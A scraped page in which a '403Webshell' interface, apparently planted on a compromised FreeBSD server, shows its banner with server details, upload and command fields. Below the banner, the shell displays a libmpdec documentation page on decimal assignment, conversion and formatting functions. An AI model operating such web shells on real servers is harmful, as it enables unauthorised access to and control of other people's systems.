403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.217.116
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/local/share/doc/mpdecimal/libmpdec/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/share/doc/mpdecimal/libmpdec/assign-convert.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
    <meta http-equiv="X-UA-Compatible" content="IE=Edge" />
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta content="index,follow" name="robots" />
<meta content="libmpdec documentation" name="description" />

    <title>Assignment, Conversions, I/O &#8212; mpdecimal 2.5.1 documentation</title>
    <link rel="stylesheet" href="_static/mpdecimal-doc.css" type="text/css" />
    <link rel="stylesheet" href="_static/pygments.css" type="text/css" />
    
    <script id="documentation_options" data-url_root="./" src="_static/documentation_options.js"></script>
    <script src="_static/jquery.js"></script>
    <script src="_static/underscore.js"></script>
    <script src="_static/doctools.js"></script>
    <script src="_static/language_data.js"></script>
    
    <link rel="search" title="Search" href="search.html" />
    <link rel="next" title="Attributes of a Decimal" href="attributes.html" />
    <link rel="prev" title="Decimals" href="decimals.html" /> 
  </head><body>
    <div class="related" role="navigation" aria-label="related navigation">
      <h3>Navigation</h3>
      <ul>
        <li class="right" style="margin-right: 10px">
          <a href="attributes.html" title="Attributes of a Decimal"
             accesskey="N">next</a></li>
        <li class="right" >
          <a href="decimals.html" title="Decimals"
             accesskey="P">previous</a> |</li>
    <li><a href="http://www.bytereef.org/mpdecimal/index.html">project home</a></li>
 
      </ul>
    </div>
      <div class="sphinxsidebar" role="navigation" aria-label="main navigation">
        <div class="sphinxsidebarwrapper">
  <h3><a href="index.html">Table of Contents</a></h3>
  <ul>
<li><a class="reference internal" href="#">Assignment, Conversions, I/O</a><ul>
<li><a class="reference internal" href="#create-decimal">Create Decimal</a><ul>
<li><a class="reference internal" href="#from-string">From String</a></li>
<li><a class="reference internal" href="#from-integer">From Integer</a></li>
<li><a class="reference internal" href="#from-special-values">From Special Values</a></li>
<li><a class="reference internal" href="#from-triple">From Triple</a></li>
</ul>
</li>
<li><a class="reference internal" href="#create-static-decimal">Create Static Decimal</a><ul>
<li><a class="reference internal" href="#std:topic-mpd_sset_u64">From Integer</a></li>
</ul>
</li>
<li><a class="reference internal" href="#convert-decimal">Convert Decimal</a><ul>
<li><a class="reference internal" href="#to-string">To String</a></li>
<li><a class="reference internal" href="#to-integer">To Integer</a></li>
<li><a class="reference internal" href="#to-triple">To Triple</a></li>
</ul>
</li>
<li><a class="reference internal" href="#copy-decimal">Copy Decimal</a></li>
<li><a class="reference internal" href="#print-decimal">Print Decimal</a></li>
<li><a class="reference internal" href="#print-status-flags">Print Status Flags</a></li>
</ul>
</li>
</ul>

  <h4>Previous topic</h4>
  <p class="topless"><a href="decimals.html"
                        title="previous chapter">Decimals</a></p>
  <h4>Next topic</h4>
  <p class="topless"><a href="attributes.html"
                        title="next chapter">Attributes of a Decimal</a></p>
<div id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" />
      <input type="submit" value="Go" />
    </form>
    </div>
</div>
<script>$('#searchbox').show(0);</script>
        </div>
      </div>

    <div class="document">
      <div class="documentwrapper">
        <div class="bodywrapper">
          <div class="body" role="main">
            
  <div class="section" id="assignment-conversions-i-o">
<h1>Assignment, Conversions, I/O</h1>
<div class="section" id="create-decimal">
<h2>Create Decimal</h2>
<span class="target" id="std:topic-mpd_qset_string"></span><span class="target" id="std:topic-mpd_qset_string_exact"></span><div class="section" id="from-string">
<span id="std:topic-mpd_set_string"></span><h3>From String</h3>
<div class="highlight-c notranslate"><div class="highlight"><pre><span></span><span class="kt">void</span> <span class="nf">mpd_qset_string</span><span class="p">(</span><span class="n">mpd_t</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">s</span><span class="p">,</span> <span class="k">const</span> <span class="n">mpd_context_t</span> <span class="o">*</span><span class="n">ctx</span><span class="p">,</span>
                     <span class="kt">uint32_t</span> <span class="o">*</span><span class="n">status</span><span class="p">);</span>
<span class="kt">void</span> <span class="nf">mpd_set_string</span><span class="p">(</span><span class="n">mpd_t</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">s</span><span class="p">,</span> <span class="n">mpd_context_t</span> <span class="o">*</span><span class="n">ctx</span><span class="p">);</span>
</pre></div>
</div>
<p>Set <em>result</em> from <em>s</em>. The context is respected. This means that rounding, overflow
etc. can take place. If the string is not valid, the <code class="xref c c-macro docutils literal notranslate"><span class="pre">MPD_Conversion_syntax</span></code>
condition is added to <em>status</em> and <em>result</em> is set to NaN.</p>
<div class="highlight-c notranslate"><div class="highlight"><pre><span></span><span class="kt">void</span> <span class="nf">mpd_qset_string_exact</span><span class="p">(</span><span class="n">mpd_t</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">s</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="o">*</span><span class="n">status</span><span class="p">);</span>
</pre></div>
</div>
<p>Set <em>result</em> from <em>s</em>. The conversion is exact. If internal limits prevent exact
conversion, the <code class="xref c c-macro docutils literal notranslate"><span class="pre">MPD_Invalid_operation</span></code> condition is added to <em>status</em>
and <em>result</em> is set to NaN.</p>
<div class="versionadded">
<p><span class="versionmodified added">New in version 2.5.0.</span></p>
</div>
<span class="target" id="std:topic-mpd_qset_ssize"></span><span class="target" id="std:topic-mpd_qset_i32"></span><span class="target" id="std:topic-mpd_qset_i64"></span><span class="target" id="std:topic-mpd_qset_i64_exact"></span><span class="target" id="std:topic-mpd_qset_uint"></span><span class="target" id="std:topic-mpd_qset_u32"></span><span class="target" id="std:topic-mpd_qset_u64"></span><span class="target" id="std:topic-mpd_qset_u64_exact"></span><span class="target" id="std:topic-mpd_set_ssize"></span><span class="target" id="std:topic-mpd_set_i32"></span><span class="target" id="std:topic-mpd_set_i64"></span><span class="target" id="std:topic-mpd_set_uint"></span><span class="target" id="std:topic-mpd_set_u32"></span></div>
<div class="section" id="from-integer">
<span id="std:topic-mpd_set_u64"></span><h3>From Integer</h3>
<div class="highlight-c notranslate"><div class="highlight"><pre><span></span><span class="kt">void</span> <span class="nf">mpd_qset_ssize</span><span class="p">(</span><span class="n">mpd_t</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="n">mpd_ssize_t</span> <span class="n">a</span><span class="p">,</span> <span class="k">const</span> <span class="n">mpd_context_t</span> <span class="o">*</span><span class="n">ctx</span><span class="p">,</span>
                    <span class="kt">uint32_t</span> <span class="o">*</span><span class="n">status</span><span class="p">);</span>
<span class="kt">void</span> <span class="nf">mpd_qset_i32</span><span class="p">(</span><span class="n">mpd_t</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="kt">int32_t</span> <span class="n">a</span><span class="p">,</span> <span class="k">const</span> <span class="n">mpd_context_t</span> <span class="o">*</span><span class="n">ctx</span><span class="p">,</span>
                  <span class="kt">uint32_t</span> <span class="o">*</span><span class="n">status</span><span class="p">);</span>
<span class="kt">void</span> <span class="nf">mpd_qset_i64</span><span class="p">(</span><span class="n">mpd_t</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="kt">int64_t</span> <span class="n">a</span><span class="p">,</span> <span class="k">const</span> <span class="n">mpd_context_t</span> <span class="o">*</span><span class="n">ctx</span><span class="p">,</span>
                  <span class="kt">uint32_t</span> <span class="o">*</span><span class="n">status</span><span class="p">);</span>
<span class="kt">void</span> <span class="nf">mpd_qset_uint</span><span class="p">(</span><span class="n">mpd_t</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="n">mpd_uint_t</span> <span class="n">a</span><span class="p">,</span> <span class="k">const</span> <span class="n">mpd_context_t</span> <span class="o">*</span><span class="n">ctx</span><span class="p">,</span>
                   <span class="kt">uint32_t</span> <span class="o">*</span><span class="n">status</span><span class="p">);</span>
<span class="kt">void</span> <span class="nf">mpd_qset_u32</span><span class="p">(</span><span class="n">mpd_t</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="n">a</span><span class="p">,</span> <span class="k">const</span> <span class="n">mpd_context_t</span> <span class="o">*</span><span class="n">ctx</span><span class="p">,</span>
                  <span class="kt">uint32_t</span> <span class="o">*</span><span class="n">status</span><span class="p">);</span>
<span class="kt">void</span> <span class="nf">mpd_qset_u64</span><span class="p">(</span><span class="n">mpd_t</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="kt">uint64_t</span> <span class="n">a</span><span class="p">,</span> <span class="k">const</span> <span class="n">mpd_context_t</span> <span class="o">*</span><span class="n">ctx</span><span class="p">,</span>
                  <span class="kt">uint32_t</span> <span class="o">*</span><span class="n">status</span><span class="p">);</span>

<span class="kt">void</span> <span class="nf">mpd_set_ssize</span><span class="p">(</span><span class="n">mpd_t</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="n">mpd_ssize_t</span> <span class="n">a</span><span class="p">,</span> <span class="n">mpd_context_t</span> <span class="o">*</span><span class="n">ctx</span><span class="p">);</span>
<span class="kt">void</span> <span class="nf">mpd_set_i32</span><span class="p">(</span><span class="n">mpd_t</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="kt">int32_t</span> <span class="n">a</span><span class="p">,</span> <span class="n">mpd_context_t</span> <span class="o">*</span><span class="n">ctx</span><span class="p">);</span>
<span class="kt">void</span> <span class="nf">mpd_set_i64</span><span class="p">(</span><span class="n">mpd_t</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="kt">int64_t</span> <span class="n">a</span><span class="p">,</span> <span class="n">mpd_context_t</span> <span class="o">*</span><span class="n">ctx</span><span class="p">);</span>
<span class="kt">void</span> <span class="nf">mpd_set_uint</span><span class="p">(</span><span class="n">mpd_t</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="n">mpd_uint_t</span> <span class="n">a</span><span class="p">,</span> <span class="n">mpd_context_t</span> <span class="o">*</span><span class="n">ctx</span><span class="p">);</span>
<span class="kt">void</span> <span class="nf">mpd_set_u32</span><span class="p">(</span><span class="n">mpd_t</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="n">a</span><span class="p">,</span> <span class="n">mpd_context_t</span> <span class="o">*</span><span class="n">ctx</span><span class="p">);</span>
<span class="kt">void</span> <span class="nf">mpd_set_u64</span><span class="p">(</span><span class="n">mpd_t</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="kt">uint64_t</span> <span class="n">a</span><span class="p">,</span> <span class="n">mpd_context_t</span> <span class="o">*</span><span class="n">ctx</span><span class="p">);</span>
</pre></div>
</div>
<p>Set <em>result</em> from a C integer type. The context is respected.</p>
<div class="highlight-c notranslate"><div class="highlight"><pre><span></span><span class="kt">void</span> <span class="nf">mpd_qset_i64_exact</span><span class="p">(</span><span class="n">mpd_t</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="kt">int64_t</span> <span class="n">a</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="o">*</span><span class="n">status</span><span class="p">);</span>
<span class="kt">void</span> <span class="nf">mpd_qset_u64_exact</span><span class="p">(</span><span class="n">mpd_t</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="kt">uint64_t</span> <span class="n">a</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="o">*</span><span class="n">status</span><span class="p">);</span>
</pre></div>
</div>
<p>Set <em>result</em> from a C integer type. The conversion is exact. If exact conversion
is not possible, the <code class="xref c c-macro docutils literal notranslate"><span class="pre">MPD_Invalid_operation</span></code> condition is added to <em>status</em>
and <em>result</em> is set to NaN.</p>
<div class="versionadded">
<p><span class="versionmodified added">New in version 2.5.0.</span></p>
</div>
</div>
<div class="section" id="from-special-values">
<span id="std:topic-mpd_seterror"></span><h3>From Special Values</h3>
<div class="highlight-c notranslate"><div class="highlight"><pre><span></span><span class="kt">void</span> <span class="nf">mpd_seterror</span><span class="p">(</span><span class="n">mpd_t</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="n">flags</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="o">*</span><span class="n">status</span><span class="p">);</span>
</pre></div>
</div>
<p>Set <em>result</em> to NaN, with the error condition passed in <em>flags</em>. The error
condition is added to <em>status</em>. This is a convenience function intended to
be used inside quiet functions.</p>
<div class="highlight-c notranslate" id="std:topic-mpd_setspecial"><div class="highlight"><pre><span></span><span class="kt">void</span> <span class="nf">mpd_setspecial</span><span class="p">(</span><span class="n">mpd_t</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="kt">uint8_t</span> <span class="n">sign</span><span class="p">,</span> <span class="kt">uint8_t</span> <span class="n">type</span><span class="p">);</span>
</pre></div>
</div>
<p>Set <em>result</em> to a special number. <em>sign</em> must be one of {<code class="xref c c-macro docutils literal notranslate"><span class="pre">MPD_POS</span></code>, <code class="xref c c-macro docutils literal notranslate"><span class="pre">MPD_NEG</span></code>},
<em>type</em> one of {<code class="xref c c-macro docutils literal notranslate"><span class="pre">MPD_INF</span></code>, <code class="xref c c-macro docutils literal notranslate"><span class="pre">MPD_NAN</span></code>, <code class="xref c c-macro docutils literal notranslate"><span class="pre">MPD_SNAN</span></code>}.</p>
<div class="highlight-c notranslate" id="std:topic-mpd_zerocoeff"><div class="highlight"><pre><span></span><span class="kt">void</span> <span class="nf">mpd_zerocoeff</span><span class="p">(</span><span class="n">mpd_t</span> <span class="o">*</span><span class="n">result</span><span class="p">);</span>
</pre></div>
</div>
<p>Set the coefficient of <em>result</em> to zero. This function cannot fail.</p>
<span class="target" id="std:topic-mpd_qmaxcoeff"></span><div class="highlight-c notranslate" id="std:topic-mpd_maxcoeff"><div class="highlight"><pre><span></span><span class="kt">void</span> <span class="nf">mpd_qmaxcoeff</span><span class="p">(</span><span class="n">mpd_t</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="k">const</span> <span class="n">mpd_context_t</span> <span class="o">*</span><span class="n">ctx</span><span class="p">,</span>
                   <span class="kt">uint32_t</span> <span class="o">*</span><span class="n">status</span><span class="p">);</span>
<span class="kt">void</span> <span class="nf">mpd_maxcoeff</span><span class="p">(</span><span class="n">mpd_t</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="n">mpd_context_t</span> <span class="o">*</span><span class="n">ctx</span><span class="p">);</span>
</pre></div>
</div>
<p>Set the coefficient of <em>result</em> to the maximum value allowed by <em>ctx-&gt;prec</em>.
The function can fail with <code class="xref c c-macro docutils literal notranslate"><span class="pre">MPD_Malloc_error</span></code>.</p>
</div>
<div class="section" id="from-triple">
<span id="std:topic-mpd_from_uint128_triple"></span><h3>From Triple</h3>
<div class="highlight-c notranslate"><div class="highlight"><pre><span></span><span class="k">enum</span> <span class="n">mpd_triple_class</span> <span class="p">{</span>
  <span class="n">MPD_TRIPLE_NORMAL</span><span class="p">,</span>
  <span class="n">MPD_TRIPLE_INF</span><span class="p">,</span>
  <span class="n">MPD_TRIPLE_QNAN</span><span class="p">,</span>
  <span class="n">MPD_TRIPLE_SNAN</span><span class="p">,</span>
  <span class="n">MPD_TRIPLE_ERROR</span><span class="p">,</span>
<span class="p">};</span>

<span class="k">typedef</span> <span class="k">struct</span> <span class="p">{</span>
  <span class="k">enum</span> <span class="n">mpd_triple_class</span> <span class="n">tag</span><span class="p">;</span>
  <span class="kt">uint8_t</span> <span class="n">sign</span><span class="p">;</span>  <span class="cm">/* 0 for positive and 1 for negative */</span>
  <span class="kt">uint64_t</span> <span class="n">hi</span><span class="p">;</span>   <span class="cm">/* ((uint128_t)hi &lt;&lt; 64) + lo is the coefficient */</span>
  <span class="kt">uint64_t</span> <span class="n">lo</span><span class="p">;</span>
  <span class="kt">int64_t</span> <span class="n">exp</span><span class="p">;</span>   <span class="cm">/* exponent */</span>
<span class="p">}</span> <span class="n">mpd_uint128_triple_t</span><span class="p">;</span>

<span class="kt">int</span> <span class="nf">mpd_from_uint128_triple</span><span class="p">(</span><span class="n">mpd_t</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="k">const</span> <span class="n">mpd_uint128_triple_t</span> <span class="o">*</span><span class="n">triple</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="o">*</span><span class="n">status</span><span class="p">);</span>
</pre></div>
</div>
<p>Create a decimal from a triple.  The following rules must be observed for
initializing the triple:</p>
<ul class="simple">
<li><code class="docutils literal notranslate"><span class="pre">sign</span></code> must always be 0 (for positive) or 1 (for negative).</li>
<li><code class="docutils literal notranslate"><span class="pre">MPD_TRIPLE_QNAN</span></code>: <code class="docutils literal notranslate"><span class="pre">exp</span></code> must be 0.  If <code class="docutils literal notranslate"><span class="pre">hi</span></code> or <code class="docutils literal notranslate"><span class="pre">lo</span></code> are nonzero,
create a <code class="docutils literal notranslate"><span class="pre">NaN</span></code> with a payload.</li>
<li><code class="docutils literal notranslate"><span class="pre">MPD_TRIPLE_SNAN</span></code>: <code class="docutils literal notranslate"><span class="pre">exp</span></code> must be 0. If <code class="docutils literal notranslate"><span class="pre">hi</span></code> or <code class="docutils literal notranslate"><span class="pre">lo</span></code>
are nonzero,  create an <code class="docutils literal notranslate"><span class="pre">sNaN</span></code> with a payload.</li>
<li><code class="docutils literal notranslate"><span class="pre">MPD_TRIPLE_INF</span></code>: <code class="docutils literal notranslate"><span class="pre">exp</span></code>, <code class="docutils literal notranslate"><span class="pre">hi</span></code> and <code class="docutils literal notranslate"><span class="pre">lo</span></code> must be zero.</li>
<li><code class="docutils literal notranslate"><span class="pre">MPD_TRIPLE_NORMAL</span></code>: <code class="docutils literal notranslate"><span class="pre">MPD_MIN_ETINY</span> <span class="pre">+</span> <span class="pre">38</span> <span class="pre">&lt;</span> <span class="pre">exp</span> <span class="pre">&lt;</span> <span class="pre">MPD_MAX_EMAX</span> <span class="pre">-</span> <span class="pre">38</span></code>.
<code class="docutils literal notranslate"><span class="pre">hi</span></code> and <code class="docutils literal notranslate"><span class="pre">lo</span></code> can be chosen freely.</li>
<li><code class="docutils literal notranslate"><span class="pre">MPD_TRIPLE_ERROR</span></code>: It is always an error to set this tag.</li>
</ul>
<p>If one of the above conditions is not met, the function sets
<code class="xref c c-macro docutils literal notranslate"><span class="pre">MPD_Invalid_operation</span></code> and <em>result</em> is <code class="docutils literal notranslate"><span class="pre">NaN</span></code>.</p>
<p>Additionally, though extremely unlikely give the small allocation sizes,
the function can set <code class="xref c c-macro docutils literal notranslate"><span class="pre">MPD_Malloc_error</span></code>.</p>
<div class="versionadded">
<p><span class="versionmodified added">New in version 2.5.1.</span></p>
</div>
</div>
</div>
<div class="section" id="create-static-decimal">
<h2>Create Static Decimal</h2>
<span class="target" id="std:topic-mpd_qsset_ssize"></span><span class="target" id="std:topic-mpd_qsset_i32"></span><span class="target" id="std:topic-mpd_qsset_i64"></span><span class="target" id="std:topic-mpd_qsset_uint"></span><span class="target" id="std:topic-mpd_qsset_u32"></span><span class="target" id="std:topic-mpd_qsset_u64"></span><span class="target" id="std:topic-mpd_sset_ssize"></span><span class="target" id="std:topic-mpd_sset_i32"></span><span class="target" id="std:topic-mpd_sset_i64"></span><span class="target" id="std:topic-mpd_sset_uint"></span><span class="target" id="std:topic-mpd_sset_u32"></span><div class="section" id="std:topic-mpd_sset_u64">
<span id="id1"></span><h3>From Integer</h3>
<div class="highlight-c notranslate"><div class="highlight"><pre><span></span><span class="kt">void</span> <span class="nf">mpd_qsset_ssize</span><span class="p">(</span><span class="n">mpd_t</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="n">mpd_ssize_t</span> <span class="n">a</span><span class="p">,</span> <span class="k">const</span> <span class="n">mpd_context_t</span> <span class="o">*</span><span class="n">ctx</span><span class="p">,</span>
                     <span class="kt">uint32_t</span> <span class="o">*</span><span class="n">status</span><span class="p">);</span>
<span class="kt">void</span> <span class="nf">mpd_qsset_i32</span><span class="p">(</span><span class="n">mpd_t</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="kt">int32_t</span> <span class="n">a</span><span class="p">,</span> <span class="k">const</span> <span class="n">mpd_context_t</span> <span class="o">*</span><span class="n">ctx</span><span class="p">,</span>
                   <span class="kt">uint32_t</span> <span class="o">*</span><span class="n">status</span><span class="p">);</span>
<span class="kt">void</span> <span class="nf">mpd_qsset_uint</span><span class="p">(</span><span class="n">mpd_t</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="n">mpd_uint_t</span> <span class="n">a</span><span class="p">,</span> <span class="k">const</span> <span class="n">mpd_context_t</span> <span class="o">*</span><span class="n">ctx</span><span class="p">,</span>
                    <span class="kt">uint32_t</span> <span class="o">*</span><span class="n">status</span><span class="p">);</span>
<span class="kt">void</span> <span class="nf">mpd_qsset_u32</span><span class="p">(</span><span class="n">mpd_t</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="n">a</span><span class="p">,</span> <span class="k">const</span> <span class="n">mpd_context_t</span> <span class="o">*</span><span class="n">ctx</span><span class="p">,</span>
                   <span class="kt">uint32_t</span> <span class="o">*</span><span class="n">status</span><span class="p">);</span>

<span class="kt">void</span> <span class="nf">mpd_sset_ssize</span><span class="p">(</span><span class="n">mpd_t</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="n">mpd_ssize_t</span> <span class="n">a</span><span class="p">,</span> <span class="n">mpd_context_t</span> <span class="o">*</span><span class="n">ctx</span><span class="p">);</span>
<span class="kt">void</span> <span class="nf">mpd_sset_i32</span><span class="p">(</span><span class="n">mpd_t</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="kt">int32_t</span> <span class="n">a</span><span class="p">,</span> <span class="n">mpd_context_t</span> <span class="o">*</span><span class="n">ctx</span><span class="p">);</span>
<span class="kt">void</span> <span class="nf">mpd_sset_uint</span><span class="p">(</span><span class="n">mpd_t</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="n">mpd_uint_t</span> <span class="n">a</span><span class="p">,</span> <span class="n">mpd_context_t</span> <span class="o">*</span><span class="n">ctx</span><span class="p">);</span>
<span class="kt">void</span> <span class="nf">mpd_sset_u32</span><span class="p">(</span><span class="n">mpd_t</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="n">a</span><span class="p">,</span> <span class="n">mpd_context_t</span> <span class="o">*</span><span class="n">ctx</span><span class="p">);</span>

<span class="cm">/* 64-bit build only */</span>
<span class="kt">void</span> <span class="nf">mpd_qsset_i64</span><span class="p">(</span><span class="n">mpd_t</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="kt">int64_t</span> <span class="n">a</span><span class="p">,</span> <span class="k">const</span> <span class="n">mpd_context_t</span> <span class="o">*</span><span class="n">ctx</span><span class="p">,</span>
                   <span class="kt">uint32_t</span> <span class="o">*</span><span class="n">status</span><span class="p">);</span>
<span class="kt">void</span> <span class="nf">mpd_qsset_u64</span><span class="p">(</span><span class="n">mpd_t</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="kt">uint64_t</span> <span class="n">a</span><span class="p">,</span> <span class="k">const</span> <span class="n">mpd_context_t</span> <span class="o">*</span><span class="n">ctx</span><span class="p">,</span>
                   <span class="kt">uint32_t</span> <span class="o">*</span><span class="n">status</span><span class="p">);</span>

<span class="kt">void</span> <span class="nf">mpd_sset_i64</span><span class="p">(</span><span class="n">mpd_t</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="kt">int64_t</span> <span class="n">a</span><span class="p">,</span> <span class="n">mpd_context_t</span> <span class="o">*</span><span class="n">ctx</span><span class="p">);</span>
<span class="kt">void</span> <span class="nf">mpd_sset_u64</span><span class="p">(</span><span class="n">mpd_t</span> <span class="o">*</span><span class="n">result</span><span class="p">,</span> <span class="kt">uint64_t</span> <span class="n">a</span><span class="p">,</span> <span class="n">mpd_context_t</span> <span class="o">*</span><span class="n">ctx</span><span class="p">);</span>
</pre></div>
</div>
<p>Set <em>result</em> from a C integer type. The context is respected. <em>result</em> must be a
static decimal, see section <a class="reference internal" href="memory.html#advanced-memory-handling"><span class="std std-ref">Advanced Memory Handling</span></a>.</p>
</div>
</div>
<div class="section" id="convert-decimal">
<h2>Convert Decimal</h2>
<span class="target" id="std:topic-mpd_to_sci"></span><span class="target" id="std:topic-mpd_to_eng"></span><span class="target" id="std:topic-mpd_to_sci_size"></span><div class="section" id="to-string">
<span id="std:topic-mpd_to_eng_size"></span><h3>To String</h3>
<div class="highlight-c notranslate"><div class="highlight"><pre><span></span><span class="kt">char</span> <span class="o">*</span><span class="nf">mpd_to_sci</span><span class="p">(</span><span class="k">const</span> <span class="n">mpd_t</span> <span class="o">*</span><span class="n">dec</span><span class="p">,</span> <span class="kt">int</span> <span class="n">fmt</span><span class="p">);</span>
<span class="kt">char</span> <span class="o">*</span><span class="nf">mpd_to_eng</span><span class="p">(</span><span class="k">const</span> <span class="n">mpd_t</span> <span class="o">*</span><span class="n">dec</span><span class="p">,</span> <span class="kt">int</span> <span class="n">fmt</span><span class="p">);</span>

<span class="n">mpd_ssize_t</span> <span class="nf">mpd_to_sci_size</span><span class="p">(</span><span class="kt">char</span> <span class="o">**</span><span class="n">res</span><span class="p">,</span> <span class="k">const</span> <span class="n">mpd_t</span> <span class="o">*</span><span class="n">dec</span><span class="p">,</span> <span class="kt">int</span> <span class="n">fmt</span><span class="p">);</span>
<span class="n">mpd_ssize_t</span> <span class="nf">mpd_to_eng_size</span><span class="p">(</span><span class="kt">char</span> <span class="o">**</span><span class="n">res</span><span class="p">,</span> <span class="k">const</span> <span class="n">mpd_t</span> <span class="o">*</span><span class="n">dec</span><span class="p">,</span> <span class="kt">int</span> <span class="n">fmt</span><span class="p">);</span>
</pre></div>
</div>
<p>Return the <em>scientific</em> or <em>engineering</em> string representation of a decimal.
This operation is not context sensitive. If <em>fmt</em> is zero, the exponent
character is lower case, otherwise it is upper case. If allocating memory
for the string fails, <code class="xref c c-macro docutils literal notranslate"><span class="pre">NULL</span></code> is returned.</p>
<div class="versionadded">
<p><span class="versionmodified added">New in version 2.4.0: </span><code class="xref c c-func docutils literal notranslate"><span class="pre">mpd_to_sci_size</span></code> and <code class="xref c c-func docutils literal notranslate"><span class="pre">mpd_to_eng_size</span></code> additionally return the
size of the result string, without counting the terminating NUL.
The goal is to avoid an unnecessary call to <code class="xref c c-func docutils literal notranslate"><span class="pre">strlen</span></code>.</p>
</div>
<span class="target" id="std:topic-mpd_qformat"></span><div class="highlight-c notranslate" id="std:topic-mpd_format"><div class="highlight"><pre><span></span><span class="kt">char</span> <span class="o">*</span><span class="nf">mpd_qformat</span><span class="p">(</span><span class="k">const</span> <span class="n">mpd_t</span> <span class="o">*</span><span class="n">dec</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">fmt</span><span class="p">,</span>
                  <span class="k">const</span> <span class="n">mpd_context_t</span> <span class="o">*</span><span class="n">ctx</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="o">*</span><span class="n">status</span><span class="p">);</span>
<span class="kt">char</span> <span class="o">*</span><span class="nf">mpd_format</span><span class="p">(</span><span class="k">const</span> <span class="n">mpd_t</span> <span class="o">*</span><span class="n">dec</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">fmt</span><span class="p">,</span>
                 <span class="n">mpd_context_t</span> <span class="o">*</span><span class="n">ctx</span><span class="p">);</span>
</pre></div>
</div>
<p>Return the string representation of a decimal according to format string <em>fmt</em>.
The format string syntax is the same as in Python PEP 3101 (See Standard Format
Specifiers) and is quite similar to the syntax used for floating point numbers
the C <code class="xref c c-func docutils literal notranslate"><span class="pre">fprintf</span></code> function. The fill character may be a UTF-8 character,
the rest of the format string must be ASCII.</p>
<p>The function can fail with <code class="xref c c-macro docutils literal notranslate"><span class="pre">MPD_Invalid_operation</span></code> for an invalid format
string or <code class="xref c c-macro docutils literal notranslate"><span class="pre">MPD_Malloc_error</span></code>. In both cases, the return value is
<code class="xref c c-macro docutils literal notranslate"><span class="pre">NULL</span></code>.</p>
<p>If the “n” format specifier is used, the function calls <code class="xref c c-func docutils literal notranslate"><span class="pre">localeconv</span></code>.
Depending on the guarantees of the system’s <code class="xref c c-func docutils literal notranslate"><span class="pre">localeconv</span></code>, calls to
<code class="xref c c-func docutils literal notranslate"><span class="pre">mpd_qformat</span></code> may require a lock.</p>
<p>All other format specifiers are thread-safe.</p>
